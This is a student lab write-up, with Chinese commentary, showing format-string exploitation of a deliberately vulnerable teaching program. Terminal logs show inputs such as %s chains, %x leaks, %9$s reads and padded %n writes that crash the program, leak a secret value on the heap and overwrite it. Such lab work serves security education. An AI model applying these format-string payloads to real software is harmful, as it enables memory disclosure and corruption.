lab 2.4

goal

your goal is to achieve the followings (not necessarily at the same time):

- Crash the program named "vul_prog.c".
- Print out the secret[1] value.
- Modify the secret[1] value.
- Modify the secret[1] value to a pre-determined value.

steps

1. Crash the program named "vul_prog.c".
   输入多个%s即可

```
(base) vipuser@ubuntu1804:~/lab2.4$ ./vul_prg1
The variable secret's address is 0xff92a3e0 (on stack)
The variable secret's value is 0x577dc160 (on heap)
secret[0]'s address is 0x577dc160 (on heap)
secret[1]'s address is 0x577dc164 (on heap)
Please enter a decimal integer
%s%s%s%s%s%s%s%s%s%s%s%s
Please enter a string
Segmentation fault (core dumped)
(base) vipuser@ubuntu1804:~/lab2.4$
```

2. Print out the secret[1] value.
   通过输入AAAA-%X-%X-%X...我们可以依次打印出栈中的值,我们可以发现,之前输入的user_input在第九个的位置,由此,我们可以通过%9$s读取这个地址处的数据,我们只需要将user_input设置为secret[1]的地址即可

```
(base) vipuser@ubuntu1804:~/lab2.4$ ./vul_prg1
The variable secret's address is 0xffce8540 (on stack)
The variable secret's value is 0x57347160 (on heap)
secret[0]'s address is 0x57347160 (on heap)
secret[1]'s address is 0x57347164 (on heap)
Please enter a decimal integer
1463054692
Please enter a string
AAAA%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x
AAAAffce8548-ffce856a-565e5674-ffce856a-f7fc0984-f7fc0988-ffce8664-57347160-57347164-41414141-252d7825-78252d78-2d78252d-252d7825-78252d78-2d78252d-252d7825-78252d78-2d78252d-252d7825-78252d78
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x55
(base) vipuser@ubuntu1804:~/lab2.4$ ./vul_prg1
The variable secret's address is 0xfff3c850 (on stack)
The variable secret's value is 0x5759c160 (on heap)
secret[0]'s address is 0x5759c160 (on heap)
secret[1]'s address is 0x5759c164 (on heap)
Please enter a decimal integer
1465500004
Please enter a string
%9$s
U
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x55
```

3. Modify the secret[1] value.

使用%n可以修改当前地址处的值为输出字符的数字,%x%x%x%x%x%x%x%x%n可以把secret[1]的值修改为0x40

```
(base) vipuser@ubuntu1804:~/lab2.4$ ./vul_prg1
The variable secret's address is 0xffa395f0 (on stack)
The variable secret's value is 0x56b9c160 (on heap)
secret[0]'s address is 0x56b9c160 (on heap)
secret[1]'s address is 0x56b9c164 (on heap)
Please enter a decimal integer
1455014244
Please enter a string
%x%x%x%x%x%x%x%n
ffa395f8ffa3961a5657b674ffa3961af7f37984f7f37988ffa3971456b9c160
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x40
(base) vipuser@ubuntu1804:~/lab2.4$
```

4. Modify the secret[1] value to a pre-determined value.

   我们可以在%x%x%x%x%x%x%x%x后添加任意长度的输出以控制secret[1]的值,举例而言,在%x%x%x%x%x%x%x%x后添加十六个输出就可以使得secret[1]的值为0x50

```
(base) vipuser@ubuntu1804:~/lab2.4$ ./vul_prg1
The variable secret's address is 0xffd94d90 (on stack)
The variable secret's value is 0x57893160 (on heap)
secret[0]'s address is 0x57893160 (on heap)
secret[1]'s address is 0x57893164 (on heap)
Please enter a decimal integer
1468608868
Please enter a string
%x%x%x%x%x%x%x%x123%n
ffd94d98ffd94dba565bc674ffd94dbaf7f0b984f7f0b988ffd94eb457893160123
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x43
(base) vipuser@ubuntu1804:~/lab2.4$ ./vul_prg1
The variable secret's address is 0xffe0d2a0 (on stack)
The variable secret's value is 0x56f82160 (on heap)
secret[0]'s address is 0x56f82160 (on heap)
secret[1]'s address is 0x56f82164 (on heap)
Please enter a decimal integer
1459102052
Please enter a string
%x%x%x%x%x%x%x%x1111111111111111%n
ffe0d2a8ffe0d2ca565d8674ffe0d2caf7f8f984f7f8f988ffe0d3c456f8216011111111111111111
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x50
(base) vipuser@ubuntu1804:~/lab2.4$
```